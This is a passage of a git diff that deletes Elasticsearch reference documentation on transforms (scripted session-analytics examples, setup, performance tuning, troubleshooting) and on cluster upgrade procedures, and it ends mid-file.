-        }
-      },
-      "session_details": {
-        "scripted_metric": {
-          "init_script": "state.docs = []", <3>
-          "map_script": """ <4>
-            Map span = [
-              '@timestamp':doc['@timestamp'].value, 
-              'url':doc['apache.access.url'].value,
-              'referrer':doc['apache.access.referrer'].value
-            ]; 
-            state.docs.add(span)
-          """,
-          "combine_script": "return state.docs;", <5>
-          "reduce_script": """ <6>
-            def all_docs = []; 
-            for (s in states) { 
-              for (span in s) { 
-                all_docs.add(span); 
-              }
-            }
-            all_docs.sort((HashMap o1, HashMap o2)->o1['@timestamp'].millis.compareTo(o2['@timestamp'].millis)); 
-            def size = all_docs.size();
-            def min_time = all_docs[0]['@timestamp'];
-            def max_time = all_docs[size-1]['@timestamp'];
-            def duration = max_time.millis - min_time.millis;
-            def entry_page = all_docs[0]['url'];
-            def exit_path = all_docs[size-1]['url'];
-            def first_referrer = all_docs[0]['referrer'];
-            def ret = new HashMap();
-            ret['first_time'] = min_time;
-            ret['last_time'] = max_time;
-            ret['duration'] = duration;
-            ret['entry_page'] = entry_page;
-            ret['exit_path'] = exit_path;
-            ret['first_referrer'] = first_referrer;
-            return ret;
-          """
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-<1> The data is grouped by `sessionid`.
-<2> The aggregations counts the number of paths and enumerate the viewed pages 
-during the session.
-<3> The `init_script` creates an array type `doc` in the `state` object.
-<4> The `map_script` defines a `span` array with a timestamp, a URL, and a 
-referrer value which are based on the corresponding values of the document, then 
-adds the value of the `span` array to the `doc` object.
-<5> The `combine_script` returns `state.docs` from each shard.
-<6> The `reduce_script` defines various objects like `min_time`, `max_time`, and 
-`duration` based on the document fields, then declares a `ret` object, and 
-copies the source document by using `new HashMap ()`. Next, the script defines 
-`first_time`, `last_time`, `duration` and other fields inside the `ret` object 
-based on the corresponding object defined earlier, finally returns `ret`.
-
-The API call results in a similar response:
-
-[source,js]
---------------------------------------------------
-{
-  "num_pages_viewed" : 2.0,
-  "session_details" : {
-    "duration" : 131374,
-    "first_referrer" : "https://www.bing.com/",
-    "entry_page" : "http://www.leroymerlin.fr/v3/p/produits/materiaux-menuiserie/porte-coulissante-porte-interieure-escalier-et-rambarde/barriere-de-securite-l1308218463",
-    "first_time" : "2017-01-10T21:22:52.982Z",
-    "last_time" : "2017-01-10T21:25:04.356Z",
-    "exit_path" : "http://www.leroymerlin.fr/v3/p/produits/materiaux-menuiserie/porte-coulissante-porte-interieure-escalier-et-rambarde/barriere-de-securite-l1308218463?__result-wrapper?pageTemplate=Famille%2FMat%C3%A9riaux+et+menuiserie&resultOffset=0&resultLimit=50&resultListShape=PLAIN&nomenclatureId=17942&priceStyle=SALEUNIT_PRICE&fcr=1&*4294718806=4294718806&*14072=14072&*4294718593=4294718593&*17942=17942"
-  },
-  "distinct_paths" : 1.0,
-  "sessionid" : "000046f8154a80fd89849369c984b8cc9d795814"
-},
-{
-  "num_pages_viewed" : 10.0,
-  "session_details" : {
-    "duration" : 343112,
-    "first_referrer" : "https://www.google.fr/",
-    "entry_page" : "http://www.leroymerlin.fr/",
-    "first_time" : "2017-01-10T16:57:39.937Z",
-    "last_time" : "2017-01-10T17:03:23.049Z",
-    "exit_path" : "http://www.leroymerlin.fr/v3/p/produits/porte-de-douche-coulissante-adena-e168578"
-  },
-  "distinct_paths" : 8.0,
-  "sessionid" : "000087e825da1d87a332b8f15fa76116c7467da6"
-}
-...
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/transform/setup.asciidoc b/docs/reference/transform/setup.asciidoc
deleted file mode 100644
index 1d54af93082..00000000000
--- a/docs/reference/transform/setup.asciidoc
+++ /dev/null
@@ -1,43 +0,0 @@
-[role="xpack"]
-[[transform-setup]]
-= Set up {transforms}
-++++
-<titleabbrev>Setup</titleabbrev>
-++++
-
-To use the {transforms}, you must have the
-{subscriptions}[appropriate license] and at least one
-<<transform-setup-nodes,{transform} node>> in your {es} cluster. If {stack}
-{security-features} are enabled, you must also ensure your users have the
-<<transform-privileges,necessary privileges>>.
-
-[discrete]
-[[transform-setup-nodes]]
-== {transform-cap} nodes
-
-To use {transforms}, there must be at least one {transform} node in your cluster.
-If you want to control which nodes run {transforms}, add or remove `transform`
-from the `node.roles` setting on some nodes. For more information, see
-<<modules-node>> and <<transform-settings>>.
-
-[discrete]
-[[transform-privileges]]
-== Security privileges
-
-The {es} {security-features} provide <<built-in-roles,built-in roles>>
-and <<security-privileges,privileges>> that make it easier to control
-which users can manage or view {transforms}.
-
-To _view_ the configuration and status of {transforms}, you must have:
-
-* `transform_user` built-in role or `monitor_transform`
-cluster privileges
-
-To _manage_ {transforms}, you must have:
-
-* `transform_admin` built-in role or `manage_transform`
-cluster privileges
-* `read` and `view_index_metadata` index privileges on source indices
-* `read`, `create_index`, and `index` index privileges on destination indices
-
-For more information, see <<security-privileges>> and <<built-in-roles>>.
diff --git a/docs/reference/transform/transforms-at-scale.asciidoc b/docs/reference/transform/transforms-at-scale.asciidoc
deleted file mode 100644
index 3abe293d5d1..00000000000
--- a/docs/reference/transform/transforms-at-scale.asciidoc
+++ /dev/null
@@ -1,199 +0,0 @@
-[role="xpack"]
-[[transform-scale]]
-= Working with {transforms} at scale
-++++
-<titleabbrev>{transforms-cap} at scale</titleabbrev>
-++++
-
-{transforms-cap} convert existing {es} indices into summarized indices, which 
-provide opportunities for new insights and analytics. The search and index 
-operations performed by {transforms} use standard {es} features so similar 
-considerations for working with {es} at scale are often applicable to 
-{transforms}. If you experience performance issues, start by identifying the 
-bottleneck areas (search, indexing, processing, or storage) then review the 
-relevant considerations in this guide to improve performance. It also helps to 
-understand how {transforms} work as different considerations apply depending on 
-whether or not your transform is running in continuous mode or in batch.
-
-In this guide, you’ll learn how to:
-
-* Understand the impact of configuration options on the performance of 
-  {transforms}.
-
-**Prerequisites:**
-
-These guildelines assume you have a {transform} you want to tune, and you’re 
-already familiar with: 
-
-* <<transform-overview,How {transforms} work>>.
-* <<transform-setup,How to set up {transforms}>>.
-* <<transform-checkpoints,How {transform} checkpoints work in continuous mode>>.
-
-The following considerations are not sequential – the numbers help to navigate 
-between the list items; you can take action on one or more of them in any order. 
-Most of the recommendations apply to both continuous and batch {transforms}. If 
-a list item only applies to one {transform} type, this exception is highlighted 
-in the description.
-
-The keywords in parenthesis at the end of each recommendation title indicates 
-the bottleneck area that may be improved by following the given recommendation.
-
-[discrete]
-[[measure-performance]]
-== Measure {transforms} performance
-
-In order to optimize {transform} performance, start by identifying the areas 
-where most work is being done. The **Stats** interface of the 
-**{transforms-cap}** page in {kib} contains information that covers three main 
-areas: indexing, searching, and processing time (alternatively, you can use the 
-<<get-transform-stats, {transforms} stats API>>). If, for example, the results 
-show that the highest proportion of  time is spent on search, then prioritize 
-efforts on optimizing the search query of the {transform}. {transforms-cap} also 
-has https://esrally.readthedocs.io[Rally support] that makes it possible to run 
-performance checks on {transforms} configurations if it is required. If you 
-optimized the crucial factors and you still experience performance issues, you 
-may also want to consider improving your hardware.
-
-
-[discrete]
-[[frequency]]
-== 1. Optimize `frequency` (index)
-
-In a {ctransform}, the `frequency` configuration option sets the interval 
-between checks for changes in the source indices. If changes are detected, then 
-the source data is searched and the changes are applied to the destination 
-index. Depending on your use case, you may wish to reduce the frequency at which 
-changes are applied. By setting `frequency` to a higher value (maximum is one 
-hour), the workload can be spread over time at the cost of less up-to-date data.
-
-
-[discrete]
-[[increase-shards-dest-index]]
-== 2. Increase the number of shards of the destination index (index)
-
-Depending on the size of the destination index, you may consider increasing its 
-shard count. {transforms-cap} use one shard by default when creating the 
-destination index. To override the index settings, create the destination index 
-before starting the {transform}. For more information about how the number of 
-shards affects scalability and resilience, refer to <<scalability>>
-
-TIP: Use the <<preview-transform>> to check the settings that the {transform} 
-would use to create the destination index. You can copy and adjust these in 
-order to create the destination index prior to starting the {transform}.
-
-
-[discrete]
-[[search-queries]]
-== 3. Profile and optimize your search queries (search)
-
-If you have defined a {transform} source index `query`, ensure it is as 
-efficient as possible. Use the **Search Profiler** under **Dev Tools** in {kib} 
-to get detailed timing information about the execution of individual components 
-in the search request. Alternatively, you can use the <<search-profile>>. The 
-results give you insight into how search requests are executed at a low level so 
-that you can understand why certain requests are slow, and take steps to improve 
-them.
-
-{transforms-cap} execute standard {es} search requests. There are different ways 
-to write {es} queries, and some of them are more efficient than others. Consult 
-<<tune-for-search-speed>> to learn more about {es} performance tuning.
-
-
-[discrete]
-[[limit-source-query]]
-== 4. Limit the scope of the source query (search)
-
-Imagine your {ctransform} is configured to group by `IP` and calculate the sum 
-of `bytes_sent`. For each checkpoint, a {ctransform} detects changes in the 
-source data since the previous checkpoint, identifying the IPs for which new 
-data has been ingested. Then it performs a second search, filtered for this 
-group of IPs, in order to calculate the total `bytes_sent`. If this second 
-search matches many shards, then this could be resource intensive. Consider 
-limiting the scope that the source index pattern and query will match.
-
-Use an absolute time value as a date range filter in your source query (for 
-example, greater than `2020-01-01T00:00:00`) to limit which historical indices 
-are accessed. If you use a relative time value (for example, `now-30d`) then 
-this date range is re-evaluated at the point of each checkpoint execution.
-
-
-[discrete]
-[[optimize-shading-strategy]]
-== 5. Optimize the sharding strategy for the source index (search)
-
-There is no one-size-fits-all sharding strategy. A strategy that works in one 
-environment may not scale in another. A good sharding strategy must account for 
-your infrastructure, use case, and performance expectations.
-
-Too few shards may mean that the benefits of distributing the workload cannot be 
-realised; however too many shards may impact your cluster health. To learn more 
-about sizing your shards, read this <<size-your-shards,guide>>.
-
-
-[discrete]
-[[tune-max-page-search-size]]
-== 6. Tune `max_page_search_size` (search)
-
-The `max_page_search_size` {transform} configuration option defines the number 
-of buckets that are returned for each search request. The default value is 500. 
-If you increase this value, you get better throughput at the cost of higher 
-latency and memory usage.
-
-The ideal value of this parameter is highly dependent on your use case. If your 
-{transform} executes memory-intensive aggregations – for example, cardinality or 
-percentiles – then increasing `max_page_search_size` requires more available 
-memory. If memory limits are exceeded, a circuit breaker exception occurs.
-
-
-[discrete]
-[[indexed-fields-in-source]]
-== 7. Use indexed fields in your source indices (search)
-
-Scripted fields are not indexed fields; their values are only 
-computed at search time. While these fields provide flexibility in 
-how you access your data, they increase performance costs at search time. If 
-{transform} performance using scripted fields is a concern, 
-you may wish to consider using indexed fields instead.
-
-
-[discrete]
-[[index-sorting-group-by-ordering]]
-== 8. Use index sorting and `group_by` ordering (search, process)
-
-If you use more than one `group_by` field in your {transform}, then the order of 
-the fields in conjunction with the use of <<index-modules-index-sorting>> may 
-improve runtime.
-
-Index sorting enables you to store documents on disk in a specific order which 
-can improve query efficiency. The ideal sorting logic depends on your use case, 
-but the rule of thumb may be to sort the fields in descending order (high to low 
-cardinality) starting with the time-based fields. Then put the time-based 
-components first in the `group_by` if you have any, and then apply the same 
-order to your `group_by` fields as configured for index sorting. Index sorting 
-can be defined only once at index creation. If you don't already have index 
-sorting on the index that you want to use as a source, consider reindexing it to 
-a new, sorted index.
-
-
-[discrete]
-[[disable-source-dest]]
-== 9. Disable the `_source` field on the destination index (storage)
-
-The <<mapping-source-field>> contains the original JSON document body that was 
-passed at index time. The `_source` field itself is not indexed (and thus is not 
-searchable), but it is still stored in the index and incurs a storage overhead. 
-Consider disabling `_source` to save storage space if you have a large 
-destination index. Disabling `_source` is only possible during index creation.
-
-NOTE: When the `_source` field is disabled, a number of features are not 
-supported. Consult <<disable-source-field>> to understand the consequences 
-before disabling it.
-
-
-[discrete]
-== Further reading
-
-* <<tune-for-search-speed>>
-* <<tune-for-indexing-speed>>
-* <<size-your-shards>>
-* <<ilm-index-lifecycle>>
diff --git a/docs/reference/transform/transforms.asciidoc b/docs/reference/transform/transforms.asciidoc
deleted file mode 100644
index 1e0c318d528..00000000000
--- a/docs/reference/transform/transforms.asciidoc
+++ /dev/null
@@ -1,23 +0,0 @@
-[role="xpack"]
-[[transforms]]
-= Transforming data
-
-// tag::transform-intro[]
-{transforms-cap} enable you to convert existing {es} indices into summarized
-indices, which provide opportunities for new insights and analytics.
-// end::transform-intro[]
-For example, you can use {transforms} to pivot your data into entity-centric
-indices that summarize the behavior of users or sessions or other entities in
-your data.
-
-* <<transform-overview>>
-* <<transform-setup>>
-* <<transform-usage>>
-* <<transform-scale>>
-* <<transform-checkpoints>>
-* <<transform-api-quickref>>
-* <<ecommerce-transforms>>
-* <<transform-examples>>
-* <<transform-painless-examples>>
-* <<transform-troubleshooting>>
-* <<transform-limitations>>
diff --git a/docs/reference/transform/troubleshooting.asciidoc b/docs/reference/transform/troubleshooting.asciidoc
deleted file mode 100644
index 01fdb8f6129..00000000000
--- a/docs/reference/transform/troubleshooting.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[transform-troubleshooting]]
-= Troubleshooting {transforms}
-[subs="attributes"]
-++++
-<titleabbrev>Troubleshooting</titleabbrev>
-++++
-
-Use the information in this section to troubleshoot common problems.
-
-For issues that you cannot fix yourself … we’re here to help.
-If you are an existing Elastic customer with a support contract, please create
-a ticket in the
-https://support.elastic.co/customers/s/login/[Elastic Support portal].
-Or post in the https://discuss.elastic.co/[Elastic forum].
-
-If you encounter problems with your {transforms}, you can gather more
-information from the following files and APIs:
-
-* Lightweight audit messages are stored in `.transform-notifications-read`. Search
-by your `transform_id`.
-* The <<get-transform-stats,get {transform} statistics API>> provides
-information about the {transform} status and failures.
-* If the {transform} exists as a task, you can use the
-<<tasks,task management API>> to gather task information. For example:
-`GET _tasks?actions=data_frame/transforms*&detailed`. Typically, the task exists
-when the {transform} is in a started or failed state.
-* The {es} logs from the node that was running the {transform} might
-also contain useful information. You can identify the node from the notification
-messages. Alternatively, if the task still exists, you can get that information
-from the get {transform} statistics API. For more information, see
-<<logging>>.
-
diff --git a/docs/reference/transform/usage.asciidoc b/docs/reference/transform/usage.asciidoc
deleted file mode 100644
index fdf6450f4d6..00000000000
--- a/docs/reference/transform/usage.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[transform-usage]]
-= When to use {transforms}
-
-{es} aggregations are a powerful and flexible feature that enable you to
-summarize and retrieve complex insights about your data. You can summarize
-complex things like the number of web requests per day on a busy website, broken
-down by geography and browser type. If you use the same data set to try to
-calculate something as simple as a single number for the average duration of
-visitor web sessions, however, you can quickly run out of memory.
-
-Why does this occur? A web session duration is an example of a behavioral
-attribute not held on any one log record; it has to be derived by finding the
-first and last records for each session in our weblogs. This derivation requires
-some complex query expressions and a lot of memory to connect all the data
-points. If you have an ongoing background process that fuses related events from
-one index into entity-centric summaries in another index, you get a more useful,
-joined-up picture. This new index is sometimes referred to as a _{dataframe}_.
-
-You might want to consider using {transforms} instead of aggregations when:
-
-* You need a complete _feature index_ rather than a top-N set of items.
-+
-In {ml}, you often need a complete set of behavioral features rather just the
-top-N. For example, if you are predicting customer churn, you might look at
-features such as the number of website visits in the last week, the total number
-of sales, or the number of emails sent. The {stack} {ml-features} create models
-based on this multi-dimensional feature space, so they benefit from the full
-feature indices that are created by {transforms}.
-+
-This scenario also applies when you are trying to search across the results of
-an aggregation or multiple aggregations. Aggregation results can be ordered or
-filtered, but there are
-{ref}/search-aggregations-bucket-terms-aggregation.html#search-aggregations-bucket-terms-aggregation-order[limitations to ordering]
-and
-{ref}/search-aggregations-pipeline-bucket-selector-aggregation.html[filtering by bucket selector]
-is constrained by the maximum number of buckets returned. If you want to search
-all aggregation results, you need to create the complete {dataframe}. If you
-need to sort or filter the aggregation results by multiple fields, {transforms}
-are particularly useful.
-
-* You need to sort aggregation results by a pipeline aggregation.
-+
-{ref}/search-aggregations-pipeline.html[Pipeline aggregations] cannot be used
-for sorting. Technically, this is because pipeline aggregations are run during
-the reduce phase after all other aggregations have already completed. If you
-create a {transform}, you can effectively perform multiple passes over the data.
-
-* You want to create summary tables to optimize queries.
-+
-For example, if you
-have a high level dashboard that is accessed by a large number of users and it
-uses a complex aggregation over a large dataset, it may be more efficient to
-create a {transform} to cache results. Thus, each user doesn't need to run the
-aggregation query.
diff --git a/docs/reference/upgrade.asciidoc b/docs/reference/upgrade.asciidoc
deleted file mode 100644
index b2e75c96edb..00000000000
--- a/docs/reference/upgrade.asciidoc
+++ /dev/null
@@ -1,100 +0,0 @@
-[[setup-upgrade]]
-= Upgrade {es}
-
-[partintro]
---
-{es} can usually be upgraded using a <<rolling-upgrades,Rolling upgrade>>
-process so upgrading does not interrupt service. Rolling upgrades are supported:
-
-* Between minor versions
-* From 5.6 to 6.8
-* From 6.8 to {version}
-ifeval::[ "{version}" != "{minor-version}.0" ]
-* From any version since {minor-version}.0 to {version}
-endif::[]
-
-[TIP]
-====
-For rolling upgrades between major versions (e.g., 5.6 to 6.8), we recommend
-using the {kibana-ref}/upgrade-assistant.html[Kibana Upgrade Assistant].
-
-The upgrade assistant identifies deprecated settings in your cluster and guides
-you through the process of resolving issues, including reindexing.
-
-We also recommend checking your <<deprecation-logging,deprecation logs>> for any
-other functionality that may have changed.
-====
-
-The following table shows the recommended upgrade paths to {version}.
-
-[cols="<1,3",options="header",]
-|====
-|Upgrade from   
-|Recommended upgrade path to {version}
-
-ifeval::[ "{version}" != "{minor-version}.0" ]
-|A previous {minor-version} version (e.g., {minor-version}.0)
-|<<rolling-upgrades,Rolling upgrade>> to {version}
-endif::[]
-
-|7.0–7.9
-|<<rolling-upgrades,Rolling upgrade>> to {version}
-
-|6.8
-|<<rolling-upgrades,Rolling upgrade>> to {version}
-
-|6.0–6.7
-a|
-
-. https://www.elastic.co/guide/en/elasticsearch/reference/6.8/rolling-upgrades.html[Rolling upgrade] to 6.8
-. <<rolling-upgrades,Rolling upgrade>> to {version}
-
-|5.6
-a|
-
-. https://www.elastic.co/guide/en/elasticsearch/reference/6.8/rolling-upgrades.html[Rolling upgrade] to 6.8
-. <<rolling-upgrades,Rolling upgrade>> to {version}
-
-|5.0–5.5
-a|
-
-. https://www.elastic.co/guide/en/elasticsearch/reference/5.6/rolling-upgrades.html[Rolling upgrade] to 5.6
-. https://www.elastic.co/guide/en/elasticsearch/reference/6.8/rolling-upgrades.html[Rolling upgrade] to 6.8
-. <<rolling-upgrades,Rolling upgrade>> to {version}
-|====
-
-
-[WARNING]
-====
-The upgrade path from 6.8 to 7.0 is *not* supported (both full cluster restart and rolling upgrade).
-====
-
-To upgrade directly to {version} from 6.7 or earlier, you must shut down the
-cluster, install {version}, and restart. For more information, see
-<<restart-upgrade, Full cluster restart upgrade>>.
-
-[WARNING]
-====
-In-place downgrades to earlier versions are *not* supported. To downgrade to an
-earlier version, <<snapshots-restore-snapshot,restore a snapshot>> taken prior
-to the version upgrade.
-====
-
-{es} can read indices created in the previous major version. If you
-have indices created in 5.x or before, you must reindex or delete them
-before upgrading to {version}. {es} nodes will fail to start if
-incompatible indices are present. Snapshots of 5.x or earlier indices cannot be
-restored to a 7.x cluster even if they were created by a 6.x cluster. For
-information about upgrading old indices, see <<reindex-upgrade, Reindex to upgrade>>.
-
-When upgrading to a new version of {es}, you need to upgrade each
-of the products in your Elastic Stack. For more information, see the
-{stack-ref}/upgrading-elastic-stack.html[Elastic Stack Installation and Upgrade Guide].
-
---
-
-include::upgrade/rolling_upgrade.asciidoc[]
-
-include::upgrade/cluster_restart.asciidoc[]
-
-include::upgrade/reindex_upgrade.asciidoc[]
diff --git a/docs/reference/upgrade/close-ml.asciidoc b/docs/reference/upgrade/close-ml.asciidoc
deleted file mode 100644
index 09c6ee53b69..00000000000
--- a/docs/reference/upgrade/close-ml.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-[testenv="platinum"]
-
-////////////
-Take us out of upgrade mode after running any snippets on this page.
-
-[source,console]
---------------------------------------------------
-POST _ml/set_upgrade_mode?enabled=false
---------------------------------------------------
-// TEARDOWN
-////////////
-
-If your {ml} indices were created before {prev-major-version}, you must
-<<reindex-upgrade,reindex the indices>>.
-
-If your {ml} indices were created in {prev-major-version}, you can:
-
-* Leave your {ml} jobs running during the upgrade. When you shut down a
-{ml} node, its jobs automatically move to another node and restore the model
-states. This option enables your jobs to continue running during the upgrade but
-it puts increased load on the cluster.
-
-* Temporarily halt the tasks associated with your {ml} jobs and {dfeeds} and
-prevent new jobs from opening by using the
-<<ml-set-upgrade-mode,set upgrade mode API>>:
-+
-[source,console]
---------------------------------------------------
-POST _ml/set_upgrade_mode?enabled=true
---------------------------------------------------
-+
-When you disable upgrade mode, the jobs resume using the last model
-state that was automatically saved. This option avoids the overhead of managing
-active jobs during the upgrade and is faster than explicitly stopping {dfeeds}
-and closing jobs.
-
-* {ml-docs}/stopping-ml.html[Stop all {dfeeds} and close all jobs]. This option
-saves the model state at the time of closure. When you reopen the jobs after the
-upgrade, they use the exact same model. However, saving the latest model state
-takes longer than using upgrade mode, especially if you have a lot of jobs or
-jobs with large model states.
diff --git a/docs/reference/upgrade/cluster_restart.asciidoc b/docs/reference/upgrade/cluster_restart.asciidoc
deleted file mode 100644
index 47619cf571d..00000000000
--- a/docs/reference/upgrade/cluster_restart.asciidoc
+++ /dev/null
@@ -1,152 +0,0 @@
-[[restart-upgrade]]
-== Full cluster restart upgrade
-
-To upgrade directly to {es} {version} from versions 6.0-6.7, you must shut down
-all nodes in the cluster, upgrade each node to {version}, and restart the cluster.
-
-NOTE: If you are running a version prior to 6.0,
-{stack-ref-68}/upgrading-elastic-stack.html[upgrade to 6.8]
-and reindex your old indices or bring up a new {version} cluster and
-<<reindex-upgrade-remote, reindex from remote>>.
-
-include::preparing_to_upgrade.asciidoc[]
-
-[discrete]
-=== Upgrading your cluster
-
-To perform a full cluster restart upgrade to {version}:
-
-. *Disable shard allocation.*
-+
---
-include::disable-shard-alloc.asciidoc[]
---
-
-. *Stop indexing and perform a synced flush.*
-+
---
-Performing a <<indices-synced-flush-api, synced-flush>> speeds up shard
-recovery.
-
-include::synced-flush.asciidoc[]
---
-
-. *Temporarily stop the tasks associated with active {ml} jobs and {dfeeds}.* (Optional)
-+
---
-include::close-ml.asciidoc[]
---
-
-. *Shutdown all nodes.*
-+
---
-include::shut-down-node.asciidoc[]
---
-
-. *Upgrade all nodes.*
-+
---
-include::remove-xpack.asciidoc[]
---
-+
---
-include::upgrade-node.asciidoc[]
---
-+
---
-include::set-paths-tip.asciidoc[]
---
-
-If upgrading from a 6.x cluster, you must also
-<<modules-discovery-bootstrap-cluster,configure cluster bootstrapping>> by
-setting the <<initial_master_nodes,`cluster.initial_master_nodes` setting>> on
-the master-eligible nodes.
-
-. *Upgrade any plugins.*
-+
-Use the `elasticsearch-plugin` script to install the upgraded version of each
-installed {es} plugin. All plugins must be upgraded when you upgrade
-a node.
-
-. If you use {es} {security-features} to define realms, verify that your realm
-settings are up-to-date. The format of realm settings changed in version 7.0, in
-particular, the placement of the realm type changed. See
-<<realm-settings,Realm settings>>. 
-
-. *Start each upgraded node.*
-+
---
-If you have dedicated master nodes, start them first and wait for them to
-form a cluster and elect a master before proceeding with your data nodes.
-You can check progress by looking at the logs.
-
-As soon as enough master-eligible nodes have discovered each other, they form a
-cluster and elect a master. At that point, you can use
-<<cat-health,`_cat/health`>> and <<cat-nodes,`_cat/nodes`>> to monitor nodes
-joining the cluster:
-
-[source,console]
---------------------------------------------------
-GET _cat/health
-
-GET _cat/nodes
---------------------------------------------------
-
-The `status` column returned by `_cat/health` shows the health of each node
-in the cluster: `red`, `yellow`, or `green`.
---
-
-. *Wait for all nodes to join the cluster and report a status of yellow.*
-+
---
-When a node joins the cluster, it begins to recover any primary shards that
-are stored locally. The <<cat-health,`_cat/health`>> API initially reports
-a `status` of `red`, indicating that not all primary shards have been allocated.
-
-Once a node recovers its local shards, the cluster `status` switches to `yellow`,
-indicating that all primary shards have been recovered, but not all replica
-shards are allocated. This is to be expected because you have not yet
-reenabled allocation. Delaying the allocation of replicas until all nodes
-are `yellow` allows the master to allocate replicas to nodes that
-already have local shard copies.
---
-
-. *Reenable allocation.*
-+
---
-When all nodes have joined the cluster and recovered their primary shards,
-reenable allocation by restoring `cluster.routing.allocation.enable` to its
-default:
-
-[source,console]
-------------------------------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "cluster.routing.allocation.enable": null
-  }
-}
-------------------------------------------------------
-
-Once allocation is reenabled, the cluster starts allocating replica shards to
-the data nodes. At this point it is safe to resume indexing and searching,
-but your cluster will recover more quickly if you can wait until all primary
-and replica shards have been successfully allocated and the status of all nodes
-is `green`.
-
-You can monitor progress with the <<cat-health,`_cat/health`>> and
-<<cat-recovery,`_cat/recovery`>> APIs:
-
-[source,console]
---------------------------------------------------
-GET _cat/health
-
-GET _cat/recovery
---------------------------------------------------
---
-
-. *Restart machine learning jobs.*
-+
---
-include::open-ml.asciidoc[]
---
diff --git a/docs/reference/upgrade/disable-shard-alloc.asciidoc b/docs/reference/upgrade/disable-shard-alloc.asciidoc
deleted file mode 100644
index 56461fa9997..00000000000
--- a/docs/reference/upgrade/disable-shard-alloc.asciidoc
+++ /dev/null
@@ -1,19 +0,0 @@
-
-When you shut down a node, the allocation process waits for
-`index.unassigned.node_left.delayed_timeout` (by default, one minute) before
-starting to replicate the shards on that node to other nodes in the cluster,
-which can involve a lot of I/O.  Since the node is shortly going to be
-restarted, this I/O is unnecessary. You can avoid racing the clock by 
-<<cluster-routing-allocation-enable,disabling allocation>> of replicas before
-shutting down the node:
-
-[source,console]
---------------------------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "cluster.routing.allocation.enable": "primaries"
-  }
-}
---------------------------------------------------
-// TEST[skip:indexes don't assign]
diff --git a/docs/reference/upgrade/open-ml.asciidoc b/docs/reference/upgrade/open-ml.asciidoc
deleted file mode 100644
index 59bcc651c7d..00000000000
--- a/docs/reference/upgrade/open-ml.asciidoc
+++ /dev/null
@@ -1,13 +0,0 @@
-[testenv="platinum"]
-If you temporarily halted the tasks associated with your {ml} jobs,
-use the <<ml-set-upgrade-mode,set upgrade mode API>> to return them to active
-states:
-
-[source,console]
---------------------------------------------------
-POST _ml/set_upgrade_mode?enabled=false
---------------------------------------------------
-
-If you closed all {ml} jobs before the upgrade, open the jobs and start the
-datafeeds from {kib} or with the <<ml-open-job,open jobs>> and
-<<ml-start-datafeed,start datafeed>> APIs.
diff --git a/docs/reference/upgrade/preparing_to_upgrade.asciidoc b/docs/reference/upgrade/preparing_to_upgrade.asciidoc
deleted file mode 100644
index fc2288acf46..00000000000
--- a/docs/reference/upgrade/preparing_to_upgrade.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-[discrete]
-=== Preparing to upgrade
-
-It is important to prepare carefully before starting an upgrade. Once you have
-started to upgrade your cluster to version {version} you must complete the
-upgrade. As soon as the cluster contains nodes of version {version} it may make
-changes to its internal state that cannot be reverted. If you cannot complete
-the upgrade then you should discard the partially-upgraded cluster, deploy an
-empty cluster of the version before the upgrade, and restore its contents from
-a snapshot.
-
-Before you start to upgrade your cluster to version {version} you should do the
-following.
-
-. Check the <<deprecation-logging, deprecation log>> to see if you are using any
-deprecated features and update your code accordingly.
-
-. Review the <<breaking-changes,breaking changes>> and make any necessary
-changes to your code and configuration for version {version}.
-
-. If you use any plugins, make sure there is a version of each plugin that is
-compatible with {es} version {version}.
-
-. Test the upgrade in an isolated environment before upgrading your production
-cluster.
-
-. <<modules-snapshots,Back up your data by taking a snapshot!>>
-
diff --git a/docs/reference/upgrade/reindex_upgrade.asciidoc b/docs/reference/upgrade/reindex_upgrade.asciidoc
deleted file mode 100644
index 303b0142db2..00000000000
--- a/docs/reference/upgrade/reindex_upgrade.asciidoc
+++ /dev/null
@@ -1,203 +0,0 @@
-[[reindex-upgrade]]
-== Reindex before upgrading
-
-{es} can read indices created in the previous major version. If you
-have indices created in 5.x or before, you must reindex or delete them
-before upgrading to {version}. {es} nodes will fail to start if
-incompatible indices are present. Snapshots of 5.x or earlier indices cannot be
-restored to a 7.x cluster even if they were created by a 6.x cluster.
-Any index created in 6.x is compatible with 7.x and does not require a reindex.
-
-
-This restriction also applies to the internal indices that are used by
-{kib} and the {xpack} features. Therefore, before you can use {kib} and
-{xpack} features in {version}, you must ensure the internal indices have a
-compatible index structure.
-
-You have two options for reindexing old indices:
-
-* <<reindex-upgrade-inplace, Reindex in place>> on your 6.x cluster before upgrading.
-* Create a new {version} cluster and <<reindex-upgrade-remote, Reindex from remote>>.
-This enables you to reindex indices that reside on clusters running any version of {es}.
-
-.Upgrading time-based indices
-*******************************************
-
-If you use time-based indices, you likely won't need to carry
-pre-6.x indices forward to {version}. Data in time-based indices
-generally becomes less useful as time passes and are
-deleted as they age past your retention period.
-
-Unless you have an unusually long retention period, you can just
-wait to upgrade to 6.x until all of your pre-6.x indices have
-been deleted.
-
-*******************************************
-
-
-[[reindex-upgrade-inplace]]
-=== Reindex in place
-
-You can use the Upgrade Assistant in {kib} 6.8 to automatically reindex 5.x
-indices you need to carry forward to {version}.
-
-To manually reindex your old indices in place:
-
-. Create an index with 7.x compatible mappings.
-. Set the `refresh_interval` to `-1` and the `number_of_replicas` to `0` for
-  efficient reindexing.
-. Use the <<docs-reindex,`reindex` API>> to copy documents from the
-5.x index into the new index. You can use a script to perform any necessary
-modifications to the document data and metadata during reindexing.
-. Reset the `refresh_interval` and `number_of_replicas` to the values
-  used in the old index.
-. Wait for the index status to change to `green`.
-. In a single <<indices-aliases,update aliases>> request:
-.. Delete the old index.
-.. Add an alias with the old index name to the new index.
-.. Add any aliases that existed on the old index to the new index.
-
-ifdef::include-xpack[]
-[TIP]
-====
-If you use {ml-features} and your {ml} indices were created before
-{prev-major-version}, you must temporarily halt the tasks associated with your
-{ml} jobs and {dfeeds} and prevent new jobs from opening during the reindex. Use
-the <<ml-set-upgrade-mode,set upgrade mode API>> or
